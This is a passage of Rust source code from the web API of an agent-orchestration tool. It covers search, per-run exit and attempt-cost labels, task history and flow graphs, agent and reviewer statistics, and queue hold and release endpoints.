3347 return vec![SnippetPart {
3348 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3349 hit: false,
3350 }];
3351 };
3352 let lo = start.saturating_sub(SNIPPET_BEFORE);
3353 let hi = (start + SNIPPET_AFTER).min(chars.len());
3354 let mut parts: Vec<SnippetPart> = Vec::new();
3355 let mut push = |s: &[char], hit: bool| {
3356 if s.is_empty() {
3357 return;
3358 }
3359 let text: String = s.iter().collect();
3360 match parts.last_mut() {
3361 Some(p) if p.hit == hit => p.text.push_str(&text),
3362 _ => parts.push(SnippetPart { text, hit }),
3363 }
3364 };
3365 if lo > 0 {
3366 push(&['\u{2026}'], false);
3367 }
3368 let mut at = lo;
3369 while at < hi {
3370 match find(at, hi) {
3371 Some((s, e)) => {
3372 push(&chars[at..s], false);
3373 let shown = e.min(hi);
3375 push(&chars[s..shown], true);
3376 at = shown;
3377 }
3378 None => {
3379 push(&chars[at..hi], false);
3380 at = hi;
3381 }
3382 }
3383 }
3384 if hi < chars.len() {
3385 push(&['\u{2026}'], false);
3386 }
3387 let mut prev_space = false;
3390 for p in &mut parts {
3391 let mut out = String::with_capacity(p.text.len());
3392 for c in p.text.chars() {
3393 if c.is_whitespace() {
3394 if !prev_space {
3395 out.push(' ');
3396 }
3397 prev_space = true;
3398 } else {
3399 out.push(c);
3400 prev_space = false;
3401 }
3402 }
3403 p.text = out;
3404 }
3405 parts.retain(|p| !p.text.is_empty());
3406 parts
3407}
3408
3409fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3411where
3412 I: IntoIterator<Item = (String, serde_json::Value)>,
3413{
3414 for (id, doc) in docs {
3415 let mut leaves = Vec::new();
3416 leaves.push(("id", id.as_str()));
3419 text_leaves(&doc, "", &mut leaves);
3420 if let Some(mut hit) = search_document(terms, &leaves) {
3421 view.total += 1;
3422 if view.hits.len() < SEARCH_MAX_HITS {
3423 hit.id = id;
3424 view.hits.push(hit);
3425 }
3426 }
3427 }
3428 view.truncated = view.total > view.hits.len();
3429}
3430
3431fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3438 let opener = talk
3439 .turns
3440 .iter()
3441 .find(|t| t.who == crate::talk::Who::Operator)
3442 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3443 .unwrap_or("");
3444 let title: String = if opener.chars().count() > 96 {
3445 opener.chars().take(95).chain(['\u{2026}']).collect()
3446 } else {
3447 opener.to_owned()
3448 };
3449 let turns: Vec<serde_json::Value> = talk
3450 .turns
3451 .iter()
3452 .map(|t| {
3453 let who = match t.who {
3454 crate::talk::Who::Operator => "operator",
3455 crate::talk::Who::Agent => "agent",
3456 };
3457 serde_json::json!({ who: t.body })
3458 })
3459 .collect();
3460 serde_json::json!({ "title": title, "turns": turns })
3461}
3462
3463async fn search_get(
3470 State(ui): State<Arc<Ui>>,
3471 Query(q): Query<SearchQuery>,
3472) -> ApiResult<Json<SearchView>> {
3473 let query = q.q.trim().to_owned();
3474 if query.is_empty() {
3475 return Err(ApiError::bad_request("q must not be empty"));
3476 }
3477 if query.chars().count() > SEARCH_MAX_QUERY {
3478 return Err(ApiError::bad_request(format!(
3479 "q is longer than {SEARCH_MAX_QUERY} characters"
3480 )));
3481 }
3482 let terms = search_terms(&query);
3483 if terms.len() > SEARCH_MAX_TERMS {
3484 return Err(ApiError::bad_request(format!(
3485 "q has more than {SEARCH_MAX_TERMS} terms"
3486 )));
3487 }
3488 let scope = q.scope;
3489 if scope != "runs" && scope != "tasks" && scope != "chats" {
3490 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3491 }
3492 blocking(move || {
3493 let mut view = SearchView {
3494 scope: scope.clone(),
3495 q: query,
3496 hits: Vec::new(),
3497 total: 0,
3498 truncated: false,
3499 unreadable: 0,
3500 };
3501 if scope == "runs" {
3502 let mut unreadable = 0;
3503 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3507 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3508 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3509 Some(v) => Some((id, v)),
3510 None => {
3511 unreadable += 1;
3512 None
3513 }
3514 }
3515 });
3516 search_docs(&terms, docs, &mut view);
3517 view.unreadable = unreadable;
3518 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3521 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3522 for hit in &mut view.hits {
3523 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3524 hit.run = summarize(
3525 [state],
3526 &open_runs,
3527 &claimed,
3528 &superseded,
3529 |p| probe.borrow_mut().status(p),
3530 |p| probe.borrow_mut().started_at(p),
3531 )
3532 .pop();
3533 }
3534 }
3535 } else if scope == "chats" {
3536 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3537 view.unreadable = unreadable;
3538 search_docs(
3539 &terms,
3540 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3541 &mut view,
3542 );
3543 } else {
3544 let docs = ui.queue.list().into_iter().filter_map(|t| {
3545 let mut v = serde_json::to_value(&t).ok()?;
3546 if let Some(o) = v.as_object_mut() {
3549 o.insert("filed_by".to_owned(), t.source.label().into());
3550 }
3551 Some((t.id, v))
3552 });
3553 search_docs(&terms, docs, &mut view);
3554 }
3555 Ok(Json(view))
3556 })
3557 .await
3558}
3559
3560#[derive(Debug, Serialize)]
3562struct TaskRunView {
3563 n: usize,
3565 id: String,
3566 short: String,
3567 kind: &'static str,
3569 status: Option<&'static str>,
3571 readable: bool,
3573 provisional: bool,
3575 description: String,
3577 outcome: String,
3579 created_at: Option<Timestamp>,
3580 pr: Option<String>,
3581 exit: RunExit,
3583 attempt: AttemptCost,
3585 branch: Option<String>,
3587}
3588
3589#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3591#[serde(rename_all = "snake_case")]
3592enum RunExit {
3593 Unreadable,
3594 Interrupted,
3596 Parked,
3597 QuotaStall,
3598 ResumedQuotaStall,
3602 Merged,
3603 Ready,
3604 Superseded,
3605 AlreadyInBase,
3608 Stalled,
3610 HeldWithPr,
3612 NoopHeld,
3613 Spent,
3615 InProgress,
3616}
3617
3618#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3619#[serde(rename_all = "snake_case")]
3620enum AttemptCost {
3621 Spent,
3622 Refunded,
3623 None,
3624 Unknown,
3626}
3627
3628impl RunExit {
3629 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3630 let Some(s) = s else {
3631 return Self::Unreadable;
3632 };
3633 let status = s.status;
3634 if resumed_later {
3635 Self::Interrupted
3636 } else if s.parked {
3637 Self::Parked
3638 } else if !status.done() {
3639 Self::InProgress
3640 } else if matches!(status, RunStatus::Merged) {
3641 Self::Merged
3642 } else if matches!(status, RunStatus::Ready) {
3643 Self::Ready
3644 } else if matches!(status, RunStatus::Superseded) {
3645 Self::Superseded
3646 } else if matches!(status, RunStatus::AlreadyInBase) {
3647 Self::AlreadyInBase
3648 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3649 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3650 {
3651 if resumed {
3652 Self::ResumedQuotaStall
3653 } else {
3654 Self::QuotaStall
3655 }
3656 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3657 Self::HeldWithPr
3658 } else if matches!(status, RunStatus::VerifiedNoop) {
3659 Self::NoopHeld
3660 } else if matches!(status, RunStatus::Stalled) {
3661 Self::Stalled
3662 } else {
3663 Self::Spent
3664 }
3665 }
3666
3667 fn cost(self) -> AttemptCost {
3668 match self {
3669 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3670 Self::Merged
3671 | Self::Ready
3672 | Self::Stalled
3673 | Self::HeldWithPr
3674 | Self::NoopHeld
3675 | Self::Spent => AttemptCost::Spent,
3676 Self::InProgress => AttemptCost::None,
3677 Self::AlreadyInBase => AttemptCost::Refunded,
3678 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3679 AttemptCost::Unknown
3680 }
3681 }
3682 }
3683
3684 fn edge_label(self, status: Option<&str>) -> String {
3686 match self {
3687 Self::Unreadable => "record unreadable".to_owned(),
3688 Self::Interrupted => "interrupted before the run finished".to_owned(),
3689 Self::Parked => "parked, attempt refunded".to_owned(),
3690 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3691 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3692 Self::Merged => "merged".to_owned(),
3693 Self::Ready => "ready, not merged".to_owned(),
3694 Self::Superseded => "superseded by a later attempt".to_owned(),
3695 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3696 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3697 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3698 Self::NoopHeld => "verified no-op".to_owned(),
3699 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3700 Self::InProgress => "in progress".to_owned(),
3701 }
3702 }
3703
3704 fn explains(self, end: TaskStatus) -> bool {
3707 match self {
3708 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3709 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3710 Self::Unreadable | Self::Superseded | Self::Ready => true,
3711 _ => end != TaskStatus::Done,
3712 }
3713 }
3714}
3715
3716#[derive(Debug, Serialize)]
3718struct TaskDetailView {
3719 #[serde(flatten)]
3720 task: TaskView,
3721 max_attempts: usize,
3724 history: Vec<TaskRunView>,
3725 flow: FlowView,
3726 runs_unreadable: usize,
3728 attempts_note: &'static str,
3730}
3731
3732const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3733and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3734on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3735in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3736
3737fn review_branch_of(instruction: &str) -> Option<&str> {
3740 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3741 rest.split('`').next().filter(|b| !b.is_empty())
3742}
3743
3744struct RunSlot<'a> {
3746 n: usize,
3748 resumed: bool,
3750 resumed_later: Option<usize>,
3752 prior: Option<(&'a str, RunStatus)>,
3754 last: bool,
3755}
3756
3757fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3760 let RunSlot {
3761 n,
3762 resumed,
3763 resumed_later,
3764 prior,
3765 last,
3766 } = at;
3767 let short = run::short_of(id).to_owned();
3768 let Some(s) = state else {
3769 return TaskRunView {
3770 n,
3771 id: id.to_owned(),
3772 short,
3773 kind: "unknown",
3774 status: None,
3775 readable: false,
3776 provisional: false,
3777 description:
3778 "This run's record could not be read by this build (written by a different \
3779 magi, or removed), so what kind of attempt it was is unknown."
3780 .to_owned(),
3781 outcome: String::new(),
3782 created_at: None,
3783 pr: None,
3784 exit: RunExit::Unreadable,
3785 attempt: AttemptCost::Unknown,
3786 branch: None,
3787 };
3788 };
3789 let branch = review_branch_of(&s.instruction);
3790 let kind = if resumed {
3791 "resume"
3792 } else if branch.is_some() {
3793 "review"
3794 } else if task.solo || s.candidates.len() == 1 {
3795 "solo"
3796 } else {
3797 "competition"
3798 };
3799 let mut description = match kind {
3800 "resume" => {
3801 format!("Resumed run {short}: the same run carried on instead of competing again.")
3802 }
3803 "review" => format!(
3804 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3805 branch.unwrap_or_default()
3806 ),
3807 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3808 _ => format!(
3809 "Competition: {} candidates judged blind.",
3810 s.candidates.len().max(1)
3811 ),
3812 };
3813 if !resumed && let Some((p, st)) = prior {
3814 description.push_str(&format!(
3815 " A retry: run {p} before it ended {}.",
3816 st.display_label()
3817 ));
3818 }
3819
3820 let status = s.status;
3821 let provisional = matches!(status, RunStatus::Stalled)
3822 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3823 let head = if resumed_later.is_some() {
3824 String::new()
3825 } else {
3826 match status {
3827 RunStatus::Merged => "Merged.".to_owned(),
3828 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3829 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3830 RunStatus::AlreadyInBase => {
3831 "Already in the base: this change landed under other commits, nothing was left to land."
3832 .to_owned()
3833 }
3834 RunStatus::Stalled => {
3835 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3836 .to_owned()
3837 }
3838 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3839 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3840 RunStatus::VerifiedNoop => {
3841 "Verified no-op: the candidates found nothing to change.".to_owned()
3842 }
3843 other if other.done() => format!("Ended {}.", other.display_label()),
3844 other => format!("In progress ({}).", other.display_label()),
3845 }
3846 };
3847 let why = if let Some(k) = resumed_later {
3848 let cause = if s.quota.is_empty() {
3855 "the cause was not recorded: a park, a crash or a restart all look the same from here"
3856 } else {
3857 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3858 };
3859 format!(
3860 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3861 )
3862 } else if s.parked {
3863 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3864 .to_owned()
3865 } else if !status.done()
3866 || matches!(
3867 status,
3868 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3869 )
3870 {
3871 String::new()
3872 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3873 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3874 {
3875 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3876 .to_owned()
3877 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3878 " It left a pull request open, so the task was held for a person rather than retried."
3879 .to_owned()
3880 } else if matches!(status, RunStatus::VerifiedNoop) {
3881 " Held for a person to check the claim.".to_owned()
3882 } else if last {
3883 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3884 } else {
3885 " It spent an attempt, and the task moved on to the next run.".to_owned()
3886 };
3887 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3888 TaskRunView {
3889 n,
3890 id: id.to_owned(),
3891 short,
3892 kind,
3893 status: Some(status.as_str()),
3894 readable: true,
3895 provisional,
3896 description,
3897 outcome: format!("{head}{why}"),
3898 created_at: Some(s.created_at),
3899 pr: s.pr.as_ref().map(|p| p.url.clone()),
3900 exit,
3901 attempt: exit.cost(),
3902 branch: branch.map(str::to_owned),
3903 }
3904}
3905
3906#[derive(Debug, Serialize, PartialEq)]
3908struct FlowNode {
3909 key: String,
3911 kind: &'static str,
3913 label: String,
3914 status: Option<&'static str>,
3917 note: Option<&'static str>,
3919 run_kind: Option<&'static str>,
3920 detail: Option<String>,
3921 decided: bool,
3923 readable: bool,
3924 href: Option<String>,
3925}
3926
3927#[derive(Debug, Serialize, PartialEq)]
3928struct FlowEdge {
3929 from: String,
3930 to: String,
3931 label: String,
3932 attempt: AttemptCost,
3933}
3934
3935#[derive(Debug, Serialize, PartialEq)]
3936struct FlowView {
3937 nodes: Vec<FlowNode>,
3938 edges: Vec<FlowEdge>,
3939 attempts: usize,
3941 max_attempts: usize,
3942}
3943
3944fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3947 let node = |key: &str, kind, label: String| FlowNode {
3948 key: key.to_owned(),
3949 kind,
3950 label,
3951 status: None,
3952 note: None,
3953 run_kind: None,
3954 detail: None,
3955 decided: false,
3956 readable: true,
3957 href: None,
3958 };
3959 let mut nodes = Vec::new();
3960 let mut edges: Vec<FlowEdge> = Vec::new();
3961 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
3963 let mut n = node(
3964 "chat",
3965 "chat",
3966 format!("Chat {}", crate::queue::short(&link.id)),
3967 );
3968 n.href = Some(link.href);
3969 nodes.push(n);
3970 edges.push(FlowEdge {
3971 from: "chat".to_owned(),
3972 to: "start".to_owned(),
3973 label: "queued from chat".to_owned(),
3974 attempt: AttemptCost::None,
3975 });
3976 }
3977 nodes.push(node("start", "start", "Task queued".to_owned()));
3978 let mut prev = "start".to_owned();
3979 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3980 for (i, h) in history.iter().enumerate() {
3981 let key = format!("run-{}", h.n);
3982 let mut n = node(&key, "run", format!("Run {}", h.short));
3983 n.run_kind = Some(h.kind);
3984 n.readable = h.readable;
3985 n.href = Some(format!("#/runs/{}", h.id));
3986 n.decided = h.readable && !h.provisional;
3987 n.detail = h
3988 .branch
3989 .as_ref()
3990 .map(|b| format!("review-only run of branch {b}"));
3991 match h.exit {
3992 RunExit::Unreadable => n.note = Some("unreadable"),
3993 RunExit::Interrupted => n.note = Some("interrupted"),
3994 _ => {
3995 n.status = h.status;
3996 if h.provisional {
3997 n.note = Some("no verdict");
3998 }
3999 }
4000 }
4001 let into = match h.kind {
4002 "review" => Some(format!(
4003 "review-only run of branch {}",
4004 h.branch.as_deref().unwrap_or("?")
4005 )),
4006 "resume" => Some("resume the same run".to_owned()),
4007 _ if i > 0 => Some("retry".to_owned()),
4008 _ => None,
4009 };
4010 let label = match (prev_exit, into) {
4011 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4012 (Some((e, st)), None) => e.edge_label(st),
4013 (None, Some(i)) => i,
4014 (None, None) => "claimed".to_owned(),
4015 };
4016 edges.push(FlowEdge {
4017 from: prev.clone(),
4018 to: key.clone(),
4019 label,
4020 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4021 });
4022 prev_exit = Some((h.exit, h.status));
4023 prev = key;
4024 nodes.push(n);
4025 }
4026 let mut end = node("end", "end", task.status.as_str().to_owned());
4027 end.status = Some(task.status.as_str());
4028 nodes.push(end);
4029 let (label, attempt) = match prev_exit {
4030 None => (
4031 format!("no run yet \u{2192} {}", task.status.as_str()),
4032 AttemptCost::None,
4033 ),
4034 Some((e, st)) if e.explains(task.status) => (
4035 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4036 e.cost(),
4037 ),
4038 Some((e, _)) => (
4039 format!("closed by hand: task is {}", task.status.as_str()),
4040 e.cost(),
4041 ),
4042 };
4043 edges.push(FlowEdge {
4044 from: prev,
4045 to: "end".to_owned(),
4046 label,
4047 attempt,
4048 });
4049 FlowView {
4050 nodes,
4051 edges,
4052 attempts: task.attempts,
4053 max_attempts,
4054 }
4055}
4056
4057fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4060 let mut history = Vec::with_capacity(task.runs.len());
4061 let mut seen: Vec<&str> = Vec::new();
4062 let mut prior: Option<(&str, RunStatus)> = None;
4063 for (i, run_id) in task.runs.iter().enumerate() {
4064 let state = read(run_id);
4065 let resumed = seen.contains(&run_id.as_str());
4066 seen.push(run_id);
4067 history.push(task_run_view(
4068 run_id,
4069 state.as_ref(),
4070 RunSlot {
4071 n: i + 1,
4072 resumed,
4073 resumed_later: task.runs[i + 1..]
4074 .iter()
4075 .position(|r| r == run_id)
4076 .map(|off| i + off + 2),
4077 prior,
4078 last: i + 1 == task.runs.len(),
4079 },
4080 task,
4081 ));
4082 if let Some(s) = &state {
4083 prior = Some((run::short_of(run_id), s.status));
4084 }
4085 }
4086 history
4087}
4088
4089async fn task_detail(
4090 State(ui): State<Arc<Ui>>,
4091 Path(id): Path<String>,
4092) -> ApiResult<Json<TaskDetailView>> {
4093 blocking(move || {
4094 let id = resolve_task(&ui.queue, &id)?;
4095 let task = ui
4096 .queue
4097 .get(&id)
4098 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4099 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4100 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4101 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4102 let max_attempts = daemon::Opts::default().max_attempts;
4103 let flow = task_flow(&task, &history, max_attempts);
4104 Ok(Json(TaskDetailView {
4105 max_attempts,
4106 flow,
4107 history,
4108 runs_unreadable,
4109 attempts_note: ATTEMPTS_NOTE,
4110 task: TaskView::with_inventory(task, &inv),
4111 }))
4112 })
4113 .await
4114}
4115
4116#[derive(Debug, Serialize)]
4120struct RateView {
4121 pct: f64,
4122 denominator: usize,
4123}
4124
4125impl RateView {
4126 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4127 (denominator > 0).then(|| Self {
4128 pct: 100.0 * numerator as f64 / denominator as f64,
4129 denominator,
4130 })
4131 }
4132}
4133
4134#[derive(Debug, Serialize)]
4139struct StatsTotalsView {
4140 runs: usize,
4141 merged: usize,
4142 ready: usize,
4143 blocked: usize,
4144 failed: usize,
4145 stalled: usize,
4146 verified_noop: usize,
4147 superseded: usize,
4148 in_progress: usize,
4149 completion_rate: Option<RateView>,
4150 tallied: usize,
4151 split: usize,
4152 split_rate: Option<RateView>,
4153 deliberated: usize,
4154 minds_changed: usize,
4155 converged: usize,
4156 review_rounds: usize,
4157}
4158
4159impl From<&stats::Totals> for StatsTotalsView {
4160 fn from(t: &stats::Totals) -> Self {
4161 Self {
4162 runs: t.runs,
4163 merged: t.merged,
4164 ready: t.ready,
4165 blocked: t.blocked,
4166 failed: t.failed,
4167 stalled: t.stalled,
4168 verified_noop: t.verified_noop,
4169 superseded: t.superseded,
4170 in_progress: t.in_progress,
4171 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4172 tallied: t.tallied,
4173 split: t.split,
4174 split_rate: RateView::of(t.split, t.tallied),
4175 deliberated: t.deliberated,
4176 minds_changed: t.minds_changed,
4177 converged: t.converged,
4178 review_rounds: t.review_rounds,
4179 }
4180 }
4181}
4182
4183#[derive(Debug, Serialize)]
4185struct AgentStatsView {
4186 agent: String,
4187 entered: usize,
4188 wins: usize,
4189 empty: usize,
4190 win_rate: Option<RateView>,
4191}
4192
4193impl From<&stats::AgentStats> for AgentStatsView {
4194 fn from(a: &stats::AgentStats) -> Self {
4195 Self {
4196 agent: a.agent.clone(),
4197 entered: a.entered,
4198 wins: a.wins,
4199 empty: a.empty,
4200 win_rate: RateView::of(a.wins, a.entered),
4201 }
4202 }
4203}
4204
4205#[derive(Debug, Serialize)]
4209struct ReviewerStatsView {
4210 agent: String,
4211 rounds: usize,
4212 seated: usize,
4213 submitted: usize,
4214 adopted: usize,
4215 unique: usize,
4216 timeouts: usize,
4217 adopted_per_round: Option<f64>,
4218 precision: Option<RateView>,
4219 unique_rate: Option<RateView>,
4220 timeout_rate: Option<RateView>,
4221}
4222
4223impl From<&stats::ReviewerStats> for ReviewerStatsView {
4224 fn from(r: &stats::ReviewerStats) -> Self {
4225 Self {
4226 agent: r.agent.clone(),
4227 rounds: r.rounds,
4228 seated: r.seated,
4229 submitted: r.submitted,
4230 adopted: r.adopted,
4231 unique: r.unique,
4232 timeouts: r.timeouts,
4233 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4234 precision: RateView::of(r.adopted, r.submitted),
4235 unique_rate: RateView::of(r.unique, r.submitted),
4236 timeout_rate: RateView::of(r.timeouts, r.seated),
4237 }
4238 }
4239}
4240
4241#[derive(Debug, Serialize)]
4247struct AdvisorStatsView {
4248 agent: String,
4249 seated: usize,
4250 proposed: usize,
4251 absent: usize,
4252 faint: usize,
4253 strong: usize,
4254 reflection_rate: Option<RateView>,
4255}
4256
4257impl From<&stats::AdvisorStats> for AdvisorStatsView {
4258 fn from(a: &stats::AdvisorStats) -> Self {
4259 Self {
4260 agent: a.agent.clone(),
4261 seated: a.seated,
4262 proposed: a.proposed,
4263 absent: a.absent,
4264 faint: a.faint,
4265 strong: a.strong,
4266 reflection_rate: RateView::of(a.strong, a.proposed),
4267 }
4268 }
4269}
4270
4271#[derive(Debug, Serialize)]
4273struct E2eStatsView {
4274 rounds: usize,
4275 failures: usize,
4276 sole_detections: usize,
4277 deferred: usize,
4278 sole_rate: Option<RateView>,
4279}
4280
4281impl From<&stats::E2eStats> for E2eStatsView {
4282 fn from(e: &stats::E2eStats) -> Self {
4283 Self {
4284 rounds: e.rounds,
4285 failures: e.failures,
4286 sole_detections: e.sole_detections,
4287 deferred: e.deferred,
4288 sole_rate: RateView::of(e.sole_detections, e.failures),
4289 }
4290 }
4291}
4292
4293#[derive(Debug, Serialize)]
4301struct ReleaseBumpStatsView {
4302 merged: usize,
4303 recorded: usize,
4304 pr_opened: usize,
4305 automerge_enabled: usize,
4306 merged_directly: usize,
4307 needs_attention: usize,
4308 clean: usize,
4309 coverage_rate: Option<RateView>,
4310 automerge_rate: Option<RateView>,
4311 attention_rate: Option<RateView>,
4312}
4313
4314impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4315 fn from(b: &stats::ReleaseBumpStats) -> Self {
4316 Self {
4317 merged: b.merged,
4318 recorded: b.recorded,
4319 pr_opened: b.pr_opened,
4320 automerge_enabled: b.automerge_enabled,
4321 merged_directly: b.merged_directly,
4322 needs_attention: b.needs_attention,
4323 clean: b.clean(),
4324 coverage_rate: RateView::of(b.recorded, b.merged),
4325 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4326 attention_rate: RateView::of(b.needs_attention, b.recorded),
4327 }
4328 }
4329}
4330
4331#[derive(Debug, Serialize)]
4333struct TaskCountsView {
4334 queued: usize,
4335 running: usize,
4336 done: usize,
4337 failed: usize,
4338 held: usize,
4339 blocked: usize,
4340}
4341
4342impl From<crate::queue::TaskCounts> for TaskCountsView {
4343 fn from(c: crate::queue::TaskCounts) -> Self {
4344 Self {
4345 queued: c.queued,
4346 running: c.running,
4347 done: c.done,
4348 failed: c.failed,
4349 held: c.held,
4350 blocked: c.blocked,
4351 }
4352 }
4353}
4354
4355#[derive(Debug, Serialize)]
4361struct RepoSummaryView {
4362 repo: String,
4365 name: String,
4367 runs: usize,
4368 completion_rate: Option<RateView>,
4369}
4370
4371impl From<&stats::RepoStats> for RepoSummaryView {
4372 fn from(r: &stats::RepoStats) -> Self {
4373 let t = &r.stats.totals;
4374 Self {
4375 repo: r.repo.to_string_lossy().into_owned(),
4376 name: r.name.clone(),
4377 runs: t.runs,
4378 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4379 }
4380 }
4381}
4382
4383#[derive(Debug, Serialize)]
4389struct StatsView {
4390 totals: StatsTotalsView,
4391 agents: Vec<AgentStatsView>,
4393 reviewers: Vec<ReviewerStatsView>,
4395 advisors: Vec<AdvisorStatsView>,
4397 e2e: E2eStatsView,
4398 release_bumps: ReleaseBumpStatsView,
4399 queue: TaskCountsView,
4400 runs_unreadable: usize,
4410 repos: Vec<RepoSummaryView>,
4414 repo: Option<String>,
4418}
4419
4420#[derive(Debug, Default, Deserialize)]
4429#[serde(default)]
4430struct StatsQuery {
4431 repo: Option<String>,
4432}
4433
4434async fn stats_get(
4441 State(ui): State<Arc<Ui>>,
4442 Query(q): Query<StatsQuery>,
4443) -> ApiResult<Json<StatsView>> {
4444 blocking(move || {
4445 let states: Vec<RunState> = run_ids(&ui.runs)
4446 .into_iter()
4447 .filter_map(|id| read_run(&ui.runs, &id).ok())
4448 .collect();
4449 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4450 .iter()
4451 .map(RepoSummaryView::from)
4452 .collect();
4453 let collected = match &q.repo {
4454 Some(repo) => {
4455 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4456 if filtered.is_empty() {
4457 return Err(ApiError::not_found(format!(
4458 "no runs recorded against repo `{repo}`"
4459 )));
4460 }
4461 stats::collect_refs(filtered)
4462 }
4463 None => stats::collect(&states),
4464 };
4465 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4466 Ok(Json(StatsView {
4467 totals: StatsTotalsView::from(&collected.totals),
4468 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4469 reviewers: collected
4470 .reviewers
4471 .iter()
4472 .map(ReviewerStatsView::from)
4473 .collect(),
4474 advisors: collected
4475 .advisors
4476 .iter()
4477 .map(AdvisorStatsView::from)
4478 .collect(),
4479 e2e: E2eStatsView::from(&collected.e2e),
4480 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4481 queue: TaskCountsView::from(queue_counts),
4482 runs_unreadable: runs_unreadable(&ui.runs),
4483 repos,
4484 repo: q.repo.clone(),
4485 }))
4486 })
4487 .await
4488}
4489
4490#[derive(Debug, Default, Deserialize)]
4493#[serde(default, deny_unknown_fields)]
4494struct HoldBody {
4495 reason: Option<String>,
4496}
4497
4498async fn queue_hold(
4499 State(ui): State<Arc<Ui>>,
4500 Path(id): Path<String>,
4501 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4502) -> ApiResult<Json<TaskView>> {
4503 let body = match body {
4507 Ok(Json(body)) => body,
4508 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4509 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4510 };
4511 let reason = body.reason.filter(|r| !r.trim().is_empty());
4512 mutate(ui, id, move |t| {
4513 t.hold_manual(reason.clone());
4514 Ok(())
4515 })
4516 .await
4517}
4518
4519async fn queue_release(
4520 State(ui): State<Arc<Ui>>,
4521 Path(id): Path<String>,
4522) -> ApiResult<Json<TaskView>> {
4523 mutate(ui, id, |t| {
4524 t.release();
4525 Ok(())
4526 })
4527 .await
4528}
4529
4530#[derive(Debug, Deserialize)]
4532#[serde(deny_unknown_fields)]
4533struct PriorityBody {
4534 priority: i32,
4535}
4536
4537async fn queue_priority(
4543 State(ui): State<Arc<Ui>>,
